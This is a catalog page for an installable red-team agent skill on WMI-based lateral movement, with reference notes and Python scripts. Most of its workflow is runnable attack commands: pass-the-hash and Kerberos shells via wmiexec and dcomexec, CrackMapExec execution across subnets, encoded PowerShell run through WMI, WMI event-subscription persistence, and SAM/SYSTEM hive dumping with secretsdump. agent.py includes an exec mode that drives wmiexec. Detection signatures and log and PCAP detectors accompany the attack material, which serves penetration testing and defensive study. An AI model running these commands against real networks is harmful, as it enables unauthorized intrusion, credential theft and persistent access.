red teaming

Performing Lateral Movement with WMIExec

Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.

impacketlateral-movementpost-exploitationred-teamwindowswmiwmiexec
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.

When to Use

  • When conducting security assessments that involve performing lateral movement with wmiexec
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Execute remote commands on Windows targets using WMI-based techniques
  • Establish semi-interactive shells via Impacket wmiexec.py
  • Perform lateral movement with Pass-the-Hash using WMI
  • Use CrackMapExec for multi-target WMI command execution
  • Execute native PowerShell WMI commands for fileless lateral movement
  • Chain WMI with credential harvesting for network-wide access

MITRE ATT&CK Mapping

  • T1047 - Windows Management Instrumentation
  • T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1570 - Lateral Tool Transfer

Workflow

Phase 1: WMIExec with Impacket

  1. Execute a semi-interactive shell with credentials:
    # With cleartext password
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50
     
    # With NT hash (Pass-the-Hash)
    wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50
     
    # With Kerberos ticket
    export KRB5CCNAME=admin.ccache
    wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local
     
    # Execute specific command (non-interactive)
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
  2. Execute commands without output file (stealthier using DCOM):
    # Using dcomexec.py as alternative (MMC20.Application DCOM object)
    dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
     
    # Using ShellWindows DCOM object
    dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50

Phase 2: CrackMapExec Multi-Target Execution

  1. Execute commands across multiple targets:
    # Execute single command on subnet
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
     
    # Execute with hash
    crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
     
    # Execute PowerShell command
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
     
    # Check local admin access via WMI
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'

Phase 3: Native WMI Commands (Windows)

  1. Execute remote commands using built-in Windows WMI tools:
    # Using wmic.exe (deprecated but still available)
    wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
     
    # Using PowerShell Invoke-WmiMethod
    $cred = Get-Credential
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
     
    # Using CIM sessions (modern replacement for WMI)
    $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
    Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
      -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
  2. Fileless PowerShell execution via WMI:
    # Execute encoded PowerShell command remotely
    $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "powershell.exe -enc $cmd"

Phase 4: WMI-Based Persistence

  1. Create WMI event subscriptions for persistence:
    # Create WMI event subscription (command runs on every logon)
    $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
      -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                   QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
     
    $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
      -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
     
    Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
      -Arguments @{Filter=$filter; Consumer=$consumer}

Phase 5: Chaining with Credential Harvesting

  1. Use WMI for remote credential extraction:
    # Dump SAM hashes via WMI + reg save
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
     
    # Download saved hives
    smbclient.py domain.local/admin:'Password123'@10.10.10.50
    > get C:\temp\sam
    > get C:\temp\system
     
    # Extract hashes from saved hives
    secretsdump.py -sam sam -system system LOCAL

Tools and Resources

Tool Purpose Platform
wmiexec.py Semi-interactive WMI shell (Impacket) Linux (Python)
dcomexec.py DCOM-based remote execution (Impacket) Linux (Python)
CrackMapExec Multi-target WMI execution Linux (Python)
wmic.exe Native Windows WMI command-line tool Windows
PowerShell CIM Modern WMI cmdlets Windows
SharpWMI .NET WMI execution tool Windows (.NET)

WMI Execution Methods Comparison

Method Service Created Output Method Stealth Level
wmiexec.py No Temp file on ADMIN$ Medium
dcomexec.py No Temp file on ADMIN$ Medium-High
wmic.exe No None (blind) or redirect Medium
PowerShell WMI No None (blind) or redirect High
PsExec (comparison) Yes Service output pipe Low

Detection Signatures

Indicator Detection Method
Win32_Process.Create WMI calls Event 4688 (process creation) with WMI parent process
WMI temporary output files on ADMIN$ File monitoring on ADMIN$ share for temp files
Remote WMI connections (DCOM/135) Network monitoring for DCOM traffic to workstations
WmiPrvSE.exe spawning cmd.exe/powershell.exe EDR process tree analysis
Event 5857/5860/5861 WMI Activity logs in Microsoft-Windows-WMI-Activity

Validation Criteria

  • WMIExec shell established on remote target
  • Pass-the-Hash execution validated via WMI
  • Multi-target command execution via CrackMapExec WMI
  • Native PowerShell WMI commands executed remotely
  • Credential harvesting performed via WMI execution chain
  • No service creation artifacts on target systems
  • Evidence documented with command outputs and screenshots
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.6 KB

API Reference — Performing Lateral Movement with WMIExec

Libraries Used

  • python-evtx: Parse Windows EVTX logs for WMI process creation artifacts
  • subprocess: Execute Impacket wmiexec, tshark PCAP analysis, WMIC queries
  • xml.etree.ElementTree: Parse Sysmon/Security event XML
  • impacket (external): wmiexec.py for authorized lateral movement testing

CLI Interface

python agent.py detect --evtx security.evtx
python agent.py exec --target 10.0.0.5 --domain CORP --user admin [--cmd whoami]
python agent.py network --pcap capture.pcap
python agent.py persistence

Core Functions

detect_wmiexec_artifacts_evtx(evtx_file) — Detect WMIExec in event logs

Searches for: Sysmon EID 1 with wmiprvse.exe parent, EID 4624 type 3 logons, EID 7045 service installs.

run_wmiexec_impacket(target, domain, username, command) — Execute remote command

Uses Impacket wmiexec for authorized penetration testing.

detect_wmi_network_traffic(pcap_file) — PCAP analysis for WMI

Uses tshark to filter DCOM UUID 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 and port 135.

check_wmi_persistence() — Local WMI subscription audit

Queries __EventFilter, CommandLineEventConsumer, __FilterToConsumerBinding.

Detection Indicators

Artifact Event ID Indicator
Process from WMI Sysmon 1 ParentImage = wmiprvse.exe
Network logon Security 4624 LogonType = 3
Service install System 7045 BTOBTO/wmi patterns

Dependencies

pip install python-evtx impacket

System: tshark (optional, for PCAP analysis)

standards.md0.8 KB

Standards and References - WMIExec Lateral Movement

MITRE ATT&CK References

Technique ID Name Tactic
T1047 Windows Management Instrumentation Execution
T1021.003 Remote Services: DCOM Lateral Movement
T1550.002 Use Alternate Authentication Material: Pass the Hash Lateral Movement
T1059.001 PowerShell Execution
T1570 Lateral Tool Transfer Lateral Movement

Tools

Detection Resources

  • Windows WMI Activity Log: Microsoft-Windows-WMI-Activity/Operational
  • Event 5857: WMI provider loaded
  • Event 5860/5861: WMI registration events
  • Sysmon Event 19/20/21: WMI filter/consumer/binding creation
workflows.md0.7 KB

Workflows - WMIExec Lateral Movement

Lateral Movement Chain

1. Initial Compromise → Credential Harvesting → WMIExec to target
2. On each new host:
   ├── Enumerate local users and groups
   ├── Harvest credentials (LaZagne, Mimikatz, SAM dump)
   ├── Check for domain admin sessions
   └── Pivot to next target using recovered credentials

Multi-Method Fallback

Primary:   wmiexec.py (semi-interactive, output capture)
Fallback1: dcomexec.py (different DCOM object, avoids WMI-specific detection)
Fallback2: Native PowerShell CIM (blends with admin activity)
Fallback3: smbexec.py (uses SMB service, noisier but reliable)

Scripts 2

agent.py7.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for performing lateral movement detection and simulation with WMIExec — authorized testing only."""

import json
import argparse
import subprocess
import re


def detect_wmiexec_artifacts_evtx(evtx_file):
    """Detect WMIExec lateral movement artifacts in Windows Event Logs."""
    try:
        import Evtx.Evtx as evtx
        import xml.etree.ElementTree as ET
    except ImportError:
        return {"error": "python-evtx not installed — pip install python-evtx"}
    ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
    indicators = {
        "wmi_process_creation": [],
        "network_logon": [],
        "service_install": [],
    }
    with evtx.Evtx(evtx_file) as log:
        for record in log.records():
            try:
                xml = record.xml()
                root = ET.fromstring(xml)
                eid_elem = root.find(".//e:EventID", ns)
                if eid_elem is None:
                    continue
                eid = eid_elem.text
                data = {d.get("Name"): d.text for d in root.findall(".//e:Data", ns)}
                if eid == "1":
                    parent = data.get("ParentImage", "").lower()
                    cmdline = data.get("CommandLine", "")
                    if "wmiprvse.exe" in parent:
                        indicators["wmi_process_creation"].append({
                            "image": data.get("Image"), "cmdline": cmdline[:200],
                            "user": data.get("User"), "parent": data.get("ParentImage"),
                        })
                elif eid == "4624":
                    logon_type = data.get("LogonType", "")
                    if logon_type == "3":
                        indicators["network_logon"].append({
                            "user": data.get("TargetUserName"),
                            "source_ip": data.get("IpAddress"),
                            "workstation": data.get("WorkstationName"),
                        })
                elif eid == "7045":
                    svc_name = data.get("ServiceName", "")
                    if re.search(r"(BTOBTO|wmiprvse|wmi_|cmd\.exe)", svc_name, re.I):
                        indicators["service_install"].append({
                            "service": svc_name,
                            "path": data.get("ImagePath", "")[:200],
                        })
            except Exception:
                continue
    total = sum(len(v) for v in indicators.values())
    return {
        "evtx_file": evtx_file, "total_indicators": total,
        "wmi_process_creations": len(indicators["wmi_process_creation"]),
        "network_logons": len(indicators["network_logon"]),
        "service_installs": len(indicators["service_install"]),
        "indicators": {k: v[:15] for k, v in indicators.items()},
        "finding": "WMIEXEC_DETECTED" if total > 0 else "NO_INDICATORS",
    }


def run_wmiexec_impacket(target, domain, username, command="whoami"):
    """Execute command via Impacket wmiexec (authorized pentest use)."""
    cmd = ["python3", "-m", "impacket.examples.wmiexec",
           f"{domain}/{username}@{target}", command]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
        return {
            "target": target, "domain": domain, "user": username,
            "command": command, "output": result.stdout[:500],
            "success": result.returncode == 0,
            "stderr": result.stderr[:200] if result.stderr else "",
        }
    except FileNotFoundError:
        return {"error": "Impacket not installed — pip install impacket"}
    except Exception as e:
        return {"error": str(e)}


def detect_wmi_network_traffic(pcap_file):
    """Analyze PCAP for WMI lateral movement network indicators."""
    cmd = ["tshark", "-r", pcap_file, "-Y",
           "dcerpc.cn_bind_uuid == 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 || tcp.port == 135 || dcom",
           "-T", "fields", "-e", "ip.src", "-e", "ip.dst", "-e", "tcp.dstport",
           "-e", "dcerpc.cn_bind_uuid", "-e", "frame.time"]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
        connections = []
        for line in result.stdout.strip().splitlines():
            parts = line.split("\t")
            if len(parts) >= 3:
                connections.append({"src": parts[0], "dst": parts[1], "port": parts[2],
                                    "uuid": parts[3] if len(parts) > 3 else "", "time": parts[4] if len(parts) > 4 else ""})
        dcom_uuid = "4d9f4ab8-7d1c-11cf-861e-0020af6e7c57"
        wmi_traffic = [c for c in connections if c.get("uuid") == dcom_uuid or c.get("port") == "135"]
        return {
            "pcap_file": pcap_file, "total_connections": len(connections),
            "wmi_related": len(wmi_traffic), "connections": wmi_traffic[:20],
        }
    except FileNotFoundError:
        return {"error": "tshark not found — install Wireshark"}
    except Exception as e:
        return {"error": str(e)}


def check_wmi_persistence():
    """Check for WMI-based persistence mechanisms on local system."""
    checks = {
        "event_subscriptions": ["wmic", "/namespace:\\\\root\\subscription", "path", "__EventFilter", "get", "/format:list"],
        "consumers": ["wmic", "/namespace:\\\\root\\subscription", "path", "CommandLineEventConsumer", "get", "/format:list"],
        "bindings": ["wmic", "/namespace:\\\\root\\subscription", "path", "__FilterToConsumerBinding", "get", "/format:list"],
    }
    results = {}
    for name, cmd in checks.items():
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
            entries = [line.strip() for line in result.stdout.splitlines() if "=" in line]
            results[name] = {"count": len(entries), "entries": entries[:10]}
        except Exception as e:
            results[name] = {"error": str(e)}
    total = sum(r.get("count", 0) for r in results.values() if isinstance(r.get("count"), int))
    return {"wmi_persistence": results, "total_subscriptions": total,
            "finding": "WMI_PERSISTENCE_FOUND" if total > 0 else "NO_WMI_PERSISTENCE"}


def main():
    parser = argparse.ArgumentParser(description="WMIExec Lateral Movement Agent (Authorized Testing Only)")
    sub = parser.add_subparsers(dest="command")
    d = sub.add_parser("detect", help="Detect WMIExec in EVTX logs")
    d.add_argument("--evtx", required=True)
    e = sub.add_parser("exec", help="Execute via wmiexec (pentest)")
    e.add_argument("--target", required=True)
    e.add_argument("--domain", required=True)
    e.add_argument("--user", required=True)
    e.add_argument("--cmd", default="whoami")
    n = sub.add_parser("network", help="Analyze PCAP for WMI traffic")
    n.add_argument("--pcap", required=True)
    sub.add_parser("persistence", help="Check WMI persistence")
    args = parser.parse_args()
    if args.command == "detect":
        result = detect_wmiexec_artifacts_evtx(args.evtx)
    elif args.command == "exec":
        result = run_wmiexec_impacket(args.target, args.domain, args.user, args.cmd)
    elif args.command == "network":
        result = detect_wmi_network_traffic(args.pcap)
    elif args.command == "persistence":
        result = check_wmi_persistence()
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
process.py2.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
WMI Lateral Movement Tracker and Report Generator

Tracks WMI-based lateral movement activities during red team
engagements and generates movement reports.
For authorized red team engagements only.
"""

import json
import sys
import os
from datetime import datetime


def load_movement_log(filepath: str) -> list:
    """Load lateral movement log entries."""
    try:
        with open(filepath, "r") as f:
            return json.load(f)
    except (FileNotFoundError, json.JSONDecodeError) as e:
        print(f"Error loading log: {e}")
        return []


def generate_movement_report(entries: list) -> str:
    """Generate lateral movement tracking report."""
    report = [
        "=" * 60,
        "WMI Lateral Movement Report",
        f"Generated: {datetime.now().isoformat()}",
        "=" * 60,
        "",
        f"Total Movements: {len(entries)}",
        ""
    ]

    hosts_accessed = set()
    credentials_used = set()

    for i, entry in enumerate(entries, 1):
        source = entry.get("source", "N/A")
        target = entry.get("target", "N/A")
        method = entry.get("method", "wmiexec")
        credential = entry.get("credential", "N/A")
        timestamp = entry.get("timestamp", "N/A")
        result = entry.get("result", "N/A")

        hosts_accessed.add(target)
        credentials_used.add(credential)

        report.append(f"  [{i}] {source}{target}")
        report.append(f"      Method: {method}")
        report.append(f"      Credential: {credential}")
        report.append(f"      Time: {timestamp}")
        report.append(f"      Result: {result}")
        report.append("")

    report.extend([
        f"Unique Hosts Accessed: {len(hosts_accessed)}",
        f"Unique Credentials Used: {len(credentials_used)}",
        "",
        "Hosts:",
    ])
    for host in sorted(hosts_accessed):
        report.append(f"  - {host}")

    report.append("")
    report.append("=" * 60)
    return "\n".join(report)


def create_example_log():
    """Create an example movement log template."""
    example = [
        {
            "source": "10.10.10.100",
            "target": "10.10.10.50",
            "method": "wmiexec.py",
            "credential": "domain\\admin (PtH)",
            "timestamp": "2024-01-15T10:30:00",
            "result": "Shell obtained, credentials harvested"
        }
    ]
    with open("movement_log.json", "w") as f:
        json.dump(example, f, indent=2)
    print("Example log created: movement_log.json")


def main():
    if len(sys.argv) < 2:
        print("Usage: python process.py <movement_log.json>")
        print("       python process.py --create-template")
        return

    if sys.argv[1] == "--create-template":
        create_example_log()
        return

    entries = load_movement_log(sys.argv[1])
    if entries:
        report = generate_movement_report(entries)
        print(report)


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 0.6 KB
Keep exploring